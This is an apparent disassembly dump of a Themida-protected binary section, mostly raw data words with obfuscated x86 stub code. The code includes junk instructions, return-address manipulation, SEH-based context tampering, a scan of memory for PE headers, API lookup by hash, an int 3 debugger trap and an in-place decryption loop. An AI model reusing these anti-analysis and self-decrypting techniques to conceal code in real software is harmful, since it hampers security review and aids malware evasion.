dd 82EC4540h, 14FDBD8Bh, 0B5890614h, 61418E9h, 0ADBA6650h
dd 240489E3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 55C35141h, 0BD8B80F7h, 614267Dh, 46AD8B5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 22C35343h, 0EE8A505Eh
dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 0DF9AC352h, 0B5B531B6h, 0FF06142Eh
dd 181BFE95h, 9E906h, 7E540000h, 790802B6h, 8BF8CDB1h
dd 0B46056D8h, 8E9C0h, 1E710000h, 0CF97A26h, 59615FA9h
dd 2279958Bh, 6A580614h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0D77DC357h, 0FDB0BF9h
dd 3384h, 0FABF0F00h, 57BE9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 458A0A8h, 0A8AE93DDh
dd 8D895E73h, 6141195h, 0F003880h, 0FFFECB85h, 6E8FFh
dd 0E8510000h, 6FEE2B14h, 15E959FCh, 56000000h, 2E89BD89h
dd 485F0614h, 5E5958Bh, 51570614h, 5F595951h, 1BEA853Bh
dd 820F0618h, 66h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0AAC35141h, 79FDDF27h, 1DA1958Bh, 38800614h
dd 37840F5Ch, 29000000h, 1404D9BDh, 2F388006h, 0FFA9850Fh
dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0D28130C3h, 56381A7Fh, 23659531h, 6A400614h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0C66DC355h, 809E75C9h, 850F0AD1h, 6, 2D259589h
dd 0BD830614h, 6181BF2h, 0B7840F00h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0F3FBC350h, 52505011h, 0DA21B966h, 0E960310Fh, 0Eh
dd 480FDC76h, 98A22C77h, 284ED31h, 0B86633BEh, 5A61AD82h
dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 30C35545h, 3F0B3F37h, 0F28503BFh, 6A06181Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 2933C351h, 0FBB30C7Bh, 958B604Ch, 6140ED9h, 5699D89h
dd 90610614h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0F156FC3h, 58D6806Bh, 58F18166h
dd 0BF046AF0h, 69F8FEAAh, 870F6050h, 2, 0EE9E18Ah, 86000000h
dd 7C8344C5h, 51D0956Fh, 0CEEC3169h, 489619Fh, 15858924h
dd 0FF061423h, 181BFE95h, 11E85106h, 8A000000h, 5379FA11h
dd 0ACC38D6Dh, 0D8293EF9h, 0AE9993F6h, 9E9h, 95B00500h
dd 0F37003Bh, 595F977Dh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 3BD3A0C3h, 0BF0F5856h
dd 0FDB0BCEh, 0E84h, 0E1816600h, 19E9D93Ah, 66000003h
dd 0C66EC1B9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0AF37A0C3h, 94617F7Eh, 8BF08A8Ch
dd 6A58FBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 5C1381C3h, 5809CDC8h, 5704DD27h, 5FD78B66h
dd 1FB5B589h, 50900614h, 8B90D08Bh, 1424E1BDh, 2D8D3106h
dd 6A061400h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 1909CC8Eh, 2A21B589h, 66900614h
dd 8A50CB8Bh, 6A90D5h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0B2779EC3h, 0BE9h, 6687C800h, 1CA3A928h
dd 0EBD82410h, 13E860h, 20D00000h, 206EA06Eh, 87E5475Ch
dd 0C7A55F7Dh, 0A1622F02h, 5EF78B8Ah, 16830Fh, 11E90000h
dd 0AE000000h, 78850523h, 814748FFh, 19DF63C1h, 0A5D95120h
dd 0FE95FF61h, 8B06181Bh, 1401CD8Dh, 0E9D88B06h, 13h, 49857C21h
dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 58FC2DCBh, 840FDB0Bh
dd 11h, 16F59529h, 0D9E90614h, 8B000001h, 1426118Dh, 880F5006h
dd 14h, 6E85250h, 0C000000h, 7F4C0E01h, 310F592Fh, 585A5F51h
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0D34CC355h, 1394AE27h, 0BE8E1h
dd 1CD90000h, 88906766h, 0E6D6D686h, 959F9FFh, 14055985h
dd 0DEB5FF06h, 6A06181Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 8B51C351h, 0BC39A48Eh
dd 0F1FA045h, 883h, 0B70F6000h, 0F18B66D0h, 0E295FF61h
dd 6A06181Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0FC9DC356h, 850FC00Bh, 0ADh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h, 6612F17Dh
dd 613CB0BFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 84C35040h, 3E5E600Fh, 820FCC20h, 4, 3C6EBF66h
dd 1BE685C7h, 10618h, 9D890000h, 6142171h, 0B3E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0D01A9835h, 0AE960ECh, 0B4000000h, 9326F904h, 8E212089h
dd 0D08A60E2h, 0EE9h, 86483800h, 0AB2CEE96h, 0E19131D4h
dd 61DB17C0h, 9E96161h, 73000000h, 19E1089Ah, 295776C2h
dd 2F318D29h, 0C6810614h, 11Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 42C35040h, 8D8985BDh, 61415A5h
dd 0FFF861E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0B44C9D8Eh, 8B8B30FDh
dd 0CBBF0FD7h, 0D6DA9168h, 81CB8B7Ch, 5A912434h, 0E2807CD6h
dd 0C99589A2h, 6A061414h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 35958B84h
dd 0FF06142Dh, 181BEEB5h, 0D6B70F06h, 6CD95FFh, 958B0614h
dd 6140045h, 1BE6858Bh, 8A0F0618h, 1, 0BF5090F9h, 185CFDABh
dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0B955F672h, 0DEBF66DCh, 0F6858D74h, 6A06181Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0EC10C353h, 75F39Fh, 0E94038A1h, 0Dh, 0A72B5B7Ah
dd 39391B67h, 0F3F9ABBFh, 0BA6690AFh, 565032B4h, 0C36AB966h
dd 0FA8B905Fh, 8DCB8B66h, 181BB385h, 10E906h, 0BBEF0000h
dd 0DE5E8023h, 484709E2h, 0D4A6D23Fh, 609023C2h, 7E8h
dd 4D765800h, 2A41A9C6h, 8B0Fh, 0B85A0000h, 599E3AAFh
dd 0D68B5061h, 0A6A8BF90h, 95FF5688h, 61431ADh, 0DE9h
dd 69A9BE00h, 0DDD051F9h, 0B4C2F707h, 0C08B42DBh, 2FB98589h
dd 0B70F0614h, 0B1BD83C8h, 61430h, 0BD830975h, 6141AE1h
dd 50137400h, 0B8C08B53h, 4D0h, 0B5759D8Dh, 0D3FF0616h
dd 0BD83585Bh, 6141AE1h, 50117400h, 4D0B853h, 9D8D0000h
dd 616B474h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 13C35343h, 0EA76FF86h, 0F58A527Eh, 53006A5Fh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 3268F8D6h, 1592ADE7h, 0D08B66D4h, 6AC08Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0AEC7B1C3h
dd 71642F74h, 892E23E9h, 14294585h, 8B515806h, 1402D1BDh
dd 8C25F06h, 55B53100h, 906142Ah, 1418E19Dh
; ---------------------------------------------------------------------------
push es
loc_58BA95: ; CODE XREF: Themida_:loc_58A7E1j
mov eax, eax
mov edx, [ebp+6142A91h]
lea eax, [ebp+6181C0Dh]
push 0
push ecx
call sub_58BAAE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BAAE proc near ; CODE XREF: Themida_:0058BAA6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_58BAAE endp
; ---------------------------------------------------------------------------
dw 6028h
; ---------------------------------------------------------------------------
pusha
push ecx
pop edi
mov edx, [ebp+6141BE1h]
popa
mov eax, [ebp+61409A9h]
popa
mov [ebp+6142C3Dh], eax
mov edx, 0F00E1000h
sub edx, 0F0000000h
add edx, 14h
mov [ebp+61431F5h], edx
sub edx, 14h
lea eax, [ebp+6182F9Eh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_58BB10: ; CODE XREF: Themida_:0058BB32j
cmp word ptr [eax], 5A4Dh
jnz loc_58BB2D
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_58BB37
loc_58BB2D: ; CODE XREF: Themida_:0058BB15j
sub eax, 1000h
jmp loc_58BB10
; ---------------------------------------------------------------------------
loc_58BB37: ; CODE XREF: Themida_:0058BB27j
mov ecx, eax
mov [ebp+61424F9h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+61418D1h], edx
mov edx, [eax+50h]
mov [ebp+61419A9h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+6142B21h], edx
add edx, [eax+8]
mov [ebp+6143149h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_58BB90
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_58BB90: ; CODE XREF: Themida_:0058BB78j
cmp dword ptr [ebp+6142309h], 0
jz loc_58BBC1
mov byte ptr [ebp+6141A59h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6141AD1h]
lea eax, [ebp+61780DBh]
call eax
push 0
call eax
mov [ebp+614057Dh], eax
loc_58BBC1: ; CODE XREF: Themida_:0058BB97j
mov edx, ebx
call near ptr loc_58BBD3+1
or eax, [edi+539E3633h]
enter 0FFFF816Ah, 0Eh
int 3 ; Trap to Debugger
loc_58BBD3: ; CODE XREF: Themida_:0058BBC3p
mov [edi], ecx
mov ebx, ds:60000000h
adc cx, 53F8h
jmp loc_58BBF6
; ---------------------------------------------------------------------------
db 1Dh, 31h, 78h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ECh, 0C8h, 0FDh
dd 0FA50C17Ch, 0B5399FB2h
db 0F7h, 60h
; ---------------------------------------------------------------------------
loc_58BBF6: ; CODE XREF: Themida_:0058BBE0j
popa
pop edi
jns loc_58BBFF
cld
loc_58BBFF: ; CODE XREF: Themida_:0058BBF8j
add edi, 5A43h
mov eax, ecx
xor esi, esi
mov dx, cx
loc_58BC0C: ; CODE XREF: Themida_:0058BC77j
mov ecx, [edi+esi]
mov bx, 7F09h
sub ecx, 0FCCC0A7h
sub ax, 1177h
xor ecx, 670B925Ch
js $+6
xor ecx, 6F39D11Ch
jmp loc_58BC49
; ---------------------------------------------------------------------------
db 6Fh, 1Eh, 0D4h
; ---------------------------------------------------------------------------
cli
db 2Eh
add dl, al
movsb
retf
; ---------------------------------------------------------------------------
dw 0C958h
dd 0A51FA5A7h, 39F8BD87h
db 0A8h
; ---------------------------------------------------------------------------
loc_58BC49: ; CODE XREF: Themida_:0058BC30j
push ecx
sbb bh, 6Fh
pop dword ptr [edi+esi]
cld
mov bh, ch
sub esi, 64C24606h
sub edx, 3350A689h
add esi, 64C24602h
jg loc_58BC71
pusha
stc
movzx ecx, bx
popa
loc_58BC71: ; CODE XREF: Themida_:0058BC65j
cmp esi, 0FFFFA670h
jnz loc_58BC0C
mov edx, ecx
pusha
push 0
push eax
call sub_58BC8B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BC8B proc near ; CODE XREF: Themida_:0058BC83p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_58BC8B endp
; ---------------------------------------------------------------------------
db 91h
dd 0E4A3713Eh, 8166F757h, 8BE413C9h, 1424BDB5h, 8BC08B06h
dd 0B1BD83CEh, 61430h, 0BD830975h, 6141AE1h, 50197400h
dd 0B8C08B53h, 438h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh
dd 1AE1BD83h, 74000614h, 0B8535017h, 438h, 1A498589h, 9D8D0614h
dd 616B429h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 34C35343h, 70A0900Fh, 0B5D6D79Fh, 0CE9FEh
dd 0ED0F0000h, 9D5BB442h, 10D8237h, 8501F03Dh, 6142A55h
dd 7AB9C08Bh, 0E82D1837h, 94Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 7FC35646h, 13C4339Dh, 0FE9h
dd 712F2700h, 51AA1042h, 5DBE04A3h, 85127284h, 5918589h
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0C89E1DC3h, 0EF76AACFh, 0DAB5FCDCh, 8E7E8h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0AD858966h, 6A061414h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E5AC353h
dd 0E951F157h, 9, 8B1488DEh, 0FCE1F583h, 830F5F34h, 6
dd 369B58Bh, 85E80614h, 89000008h, 140B09BDh, 1858906h
dd 6A061416h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0E230C353h, 0E85E189Bh, 854h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D9C35040h
dd 7CA81148h, 14E9h, 0B761E000h, 3E5B3F87h, 89B2B49Bh
dd 3419DBC1h, 536AE2D9h, 91858914h, 6A06142Eh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 78DEC353h, 0D68156EEh, 60649F2Bh, 0E8F78B5Fh, 7E8h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h
dd 8A6CF761h, 0A58589E1h, 81061406h, 0AD78FD7h, 7B6E863h
dd 0BD8B0000h, 61406B5h, 2E18589h, 8D8B0614h, 6141A41h
dd 79FE8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0E2FB7992h, 4FD60C4h, 118E0Fh, 0E9510000h
dd 0Ah, 629E3759h, 7FEBE63Ah, 0E959CE74h, 6, 7877B49Eh
dd 858900A1h, 6140C4Dh, 1A219501h, 49E80614h, 6A000007h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0A0F4C357h, 5E0DE1B4h, 68C0F01h, 1000000h
dd 1405C9BDh, 71858906h, 6A061410h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DECFC356h
dd 6850FE1h, 3000000h, 142BD1BDh, 0D1BD3306h, 0E806140Ah
dd 6E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 77C35343h, 0B9661F3Eh, 85891FE4h, 6140D49h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 31F31BD1h
dd 0BD0BC476h, 6142A1Dh, 0CC88160h, 0B52D05FFh, 81E8614Bh
dd 89000006h, 14231985h, 0FE8B6606h, 11E8h, 24C71700h
dd 0C833C131h, 0D7605E4Ah, 490F63B1h, 8166E763h, 59EC6DD7h
dd 657E8h, 69BD2900h, 2906141Ch, 1408E98Dh, 99858906h
dd 6A061430h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0BEC2C357h, 0F99A6AF3h, 2952D6ECh
dd 140F9D9Dh, 15E85906h, 6A000006h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3FB0C356h
dd 9D29D28Ah, 6141C75h, 24058D31h, 85890614h, 6140669h
dd 5DEE8F8h, 0CE810000h, 3A7A7C8Eh, 220D8589h, 6E90614h
dd 0A3000000h, 0CE85EB34h, 0E8F38B56h, 5C0h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 2AD04842h
dd 8950A9C2h, 1423EDB5h, 9D895F06h, 61423E5h, 9E8h, 0DF5D5B00h
dd 944FD093h, 0E9521542h, 10h, 0C1661E31h, 0C091AE9Ah
dd 0D3C5A67h, 2479F50Bh, 85895E59h, 61400D5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 92C35545h, 260AC873h
dd 53EE82Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 7902A1C3h, 7987210Bh, 2C958589h
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 7EDC37C3h, 0DEEC218Eh, 8B952C20h, 142C918Dh
dd 4E6E806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 8765EEC3h, 8D3591FDh, 89CE8F1Bh
dd 14211185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 65273009h, 6A00B0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 2807B8C3h
dd 5E9h, 3428AB00h, 0B60FF8DEh, 0FD9D89D8h, 0BA06141Ch
dd 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
dd 0D8C35242h, 955BAC05h, 0B3C2C4B4h, 0D459D89h, 0C38B0614h
dd 6B5B58Bh, 0E8C10614h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 1F93698h, 1419818Dh, 0E2F76606h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h
dd 3363B50Dh, 0E5847EB2h, 2BBECD80h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0CA151033h
dd 5650DBD7h, 2CF7CEB9h, 1C895E3Bh, 0F98B6624h, 2E4595FFh
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 30007C3h, 12F53AEBh, 0EA8A811Eh, 963BEABEh
dd 958D5B31h, 6142015h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 25C35242h, 0C27F094Ah, 0AE8h, 73B01300h
dd 6B61CC66h, 0FF23982h, 688h, 840F00h, 5F000000h, 800F1A89h
dd 0Bh, 58D0Fh, 81660000h, 893216F6h, 0B5BE0442h, 8D7D3628h
dd 1414B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 97565687h, 1261552Eh, 0F98D89D2h
dd 89061429h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0A19A0288h, 4428992h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2CC35646h, 381060C1h
dd 3092F649h, 0E1D958Dh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 57E4A3C3h, 4F1812F7h
dd 292B98CCh, 140C3585h, 661A8906h, 4289FA8Bh, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 541F0E92h, 0F9B70F7Bh, 11718D8Bh, 958D0614h, 61408D5h
dd 54D8589h, 1A890614h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 5FC35040h, 63E46FE5h, 8DC58050h, 6A044289h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0A603C353h
dd 0E1F68BBh, 958DBE82h, 6142A29h, 1A89F78Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ACC35747h, 7E856h
dd 63420000h, 32B99316h, 5FCB8B2Eh, 442895Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6CC35242h, 0A5E94ABh
dd 958DA47Ch, 61406C1h, 10E8h, 6834E200h, 0C829CEEEh, 857B9010h
dd 0D72ADFDEh, 1A8959BBh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0EDC35040h, 8B2CF88Ah, 44289F3h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h, 3DDF672Bh
dd 8BCFF00Eh, 142AF18Dh, 0B9958D06h, 8B06141Ah, 1411758Dh
dd 798D8906h, 8906140Ah, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 30BC6E84h, 0D8895B90h
dd 0EE99156h, 0B4000000h, 0AC9ACFB8h, 9DB80286h, 39EC4A46h
dd 44289B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0FFC35747h, 0C43F2AF7h, 0BEF87AEFh, 13D8E05Dh
dd 19F5958Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0BB0C03C3h, 8B6DC96Eh, 6A1A89CEh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 61EFC355h, 0D180B364h, 44289CCh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 79C35646h, 2FB6D54Ah
dd 303E6E56h, 0D2E9F5C2h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6D59C353h
dd 0C3C2D181h, 890F68B1h, 0Ch, 6820Fh, 85890000h, 614198Dh
dd 8B51006Ah, 1412B1BDh, 6A5F06h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0B4C35646h, 82379D5Bh, 0F03D010Dh
dd 0C840Fh, 850F0000h, 6, 89BD8Bh, 6A0614h, 61BD8Bh, 6A0614h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7CC35242h
dd 0C816B62Ah, 14E8h, 0BB0FE500h, 81227403h, 0A54F4796h
dd 41C3D0F7h, 59BC8DBCh, 8B6660A8h, 61D98BDAh, 7595FF59h
dd 0B061430h, 141C2DB5h, 8B66C306h, 6AC58AFEh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 8B87C356h, 140E898Dh, 91958906h, 8B061423h, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0F9CCDEE0h, 0E9E03E1Eh, 0Bh, 8D48C532h, 0D0720270h
dd 83A248F4h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
dd 8B535019h, 438B8C0h, 85890000h, 61430C1h, 0B7A19D8Dh
dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h, 438B853h
dd 85890000h, 61430C1h, 0B4429D8Dh, 0D3FF0616h, 6A585Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8926CDC3h, 1430918Dh, 0C8F0F06h, 0F000000h, 68Bh, 0B1850100h
dd 89061429h, 140C7585h, 8DC08B06h, 140F9985h, 2D958906h
dd 0E806141Ah, 0Ah
dword_58C824 dd 4D47346Fh, 6772238Dh, 880F883Ch, 6, 21F99D8Bh, 505F0614h
; DATA XREF: Themida_:0054AED0o
; Themida_:0054BB24o
dd 8B665250h, 0F310FDFh, 1986h, 13E800h, 9E2F0000h, 264AA02Ah
dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 585A5BC7h, 89240489h
dd 1422F1BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 2681C355h, 0FEB16ABh
dd 33006AE1h, 14166DBDh, 27858D06h, 6A06183Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 80FDC355h, 0F8FC05A8h, 0FC3AD4DEh, 8905C083h, 142F45BDh
dd 11E95006h, 0F9000000h, 0EE2D55Eh, 9141DE2Fh, 40424191h
dd 73F78E9Ch, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 2105C350h, 0BF9B9739h
dd 8C0F9B5Dh, 12h, 6E8h
db 0
; ---------------------------------------------------------------------------
loc_58C915: ; DATA XREF: Themida_:0054A2D4o
sub ch, [ecx]
or al, 0F9h
fsubp st(3), st
mov edi, [ebp+61422D5h]
pop ebx
pusha
movsx ebx, bx
mov ebx, 79ABF9ABh
popa
push 0
push 0
push edi
call sub_58C939
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C939 proc near ; CODE XREF: Themida_:0058C931p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_58C939 endp
; ---------------------------------------------------------------------------
shr dword ptr [edx+0], cl
sub [ebp+61409D5h], ecx
call dword ptr [ebp+6141A71h]
push 0
push ebp
call sub_58C963
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C963 proc near ; CODE XREF: Themida_:0058C95Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_58C963 endp
; ---------------------------------------------------------------------------
mov bl, 0Ah
mov edi, 68C512B2h
jns short loc_58C9CD
push eax
movsx edi, di
lea ecx, [ebp+617A8FCh]
mov [ebp+61416F5h], ebx
xor [ebp+6141C6Dh], eax
call ecx
push ebx
mov edi, 4171E3h
pop ebx
cmp dword ptr [ebp+61412CDh], 1
jnz loc_58CA06
push 0
push edi
call sub_58C9B3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C9B3 proc near ; CODE XREF: Themida_:0058C9ABp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_58C9B3 endp
; ---------------------------------------------------------------------------
db 8Ch
dd 0C887FA5Fh, 8B41550Eh
; ---------------------------------------------------------------------------
popf
loc_58C9CD: ; CODE XREF: Themida_:0058C97Aj
fld qword ptr [edx]
adc al, 6
push 2
mov ebx, 5131C9A7h
nop
mov di, 3995h
push eax
nop
pusha
mov eax, edi
jmp loc_58C9F9
; ---------------------------------------------------------------------------
db 0C6h
dd 61DBE919h, 3617418h, 7F5CF89Ah, 0EA28D1BFh
db 0B0h
; ---------------------------------------------------------------------------
loc_58C9F9: ; CODE XREF: Themida_:0058C9E2j
popa
call dword ptr [ebp+6140939h]
mov [ebp+6142B69h], eax
loc_58CA06: ; CODE XREF: Themida_:0058C9A2j
jmp loc_58D7C8
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 6183E31h
mov [ebp+6142B0Dh], esi
lea eax, [ebp+6179623h]
jmp loc_58CA33
; ---------------------------------------------------------------------------
dd 0D96E8B71h, 7176E494h
db 6Bh, 0B2h, 26h
; ---------------------------------------------------------------------------
loc_58CA33: ; CODE XREF: Themida_:0058CA23j
push eax
pusha
mov di, 0D9BFh
jmp loc_58CA4F
; ---------------------------------------------------------------------------
dw 0DC1Bh
dd 0BA7C4062h, 997DF1AEh, 9ABE0BE0h
; ---------------------------------------------------------------------------
cmc
jb short loc_58CA88
loc_58CA4F: ; CODE XREF: Themida_:0058CA39j
popa
mov [esp], eax
push 0
push eax
call sub_58CA5E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CA5E proc near ; CODE XREF: Themida_:0058CA56p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_58CA5E endp
; ---------------------------------------------------------------------------
dw 0F77h
dd 1A83h, 0EE800h, 22A90000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch
; ---------------------------------------------------------------------------
loc_58CA88: ; CODE XREF: Themida_:0058CA4Dj
mov edi, [ebp+6140791h]
pop edi
push large dword ptr fs:0
push 0
push edx
call sub_58CAA1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CAA1 proc near ; CODE XREF: Themida_:0058CA99p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
